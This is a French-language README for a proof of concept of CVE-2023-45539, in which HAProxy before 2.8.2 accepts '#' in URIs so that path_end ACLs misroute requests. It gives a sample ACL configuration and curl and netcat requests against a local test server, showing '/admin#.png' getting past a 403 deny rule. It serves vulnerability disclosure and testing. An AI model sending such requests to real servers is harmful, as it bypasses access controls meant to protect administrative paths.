
HAProxy-CVE-2023-45539-PoC
HAProxy avant 2.8.2 accepte # comme faisant partie du composant URI, ce qui pourrait permettre à des attaquants distants d'obtenir des informations sensibles ou d'avoir un autre impact non spécifié en cas de mauvaise interprétation d'une règle path_end, comme le routage de index.html#.png vers un serveur statique.
Ce qui est mal routé dans cette CVE n'est pas une extension que l'application backend « prend en charge » — ce sont uniquement celles que HAProxy lui-même est configuré pour router à l'aide des ACLs path_end (ou regex).
acl is_static path_end .png .jpg .gif .css .js
use_backend be_static if is_static
Cela signifie :
HAProxy ne se soucie pas de savoir si le backend peut réellement servir .png, .js, etc.
Il ne regarde que la correspondance du suffixe dans le chemin de la requête.
Si le suffixe correspond à l'une de ces chaînes, il route vers be_static.
Donc :
/admin#.png → correspond à .png → va vers be_static → contournement
/admin#.asc → ne correspond pas → reste dans be_app → déclenche deny → 403
curl -i http://localhost:6655/public
HTTP/1.1 200 OK
content-length: 7
content-type: text/plain
APP OK
curl -i http://localhost:6655/admin
HTTP/1.1 403 Forbidden
content-length: 93
cache-control: no-cache
content-type: text/html
<html><body><h1>403 Forbidden</h1>
Request forbidden by administrative rules.
</body></html>
printf 'GET /admin#.png HTTP/1.1\r\nHost: localhost\r\n\r\n' | nc -q1 127.0.0.1 6655
HTTP/1.1 200 OK
content-length: 31
content-type: text/plain
STATIC OK (routed by path_end)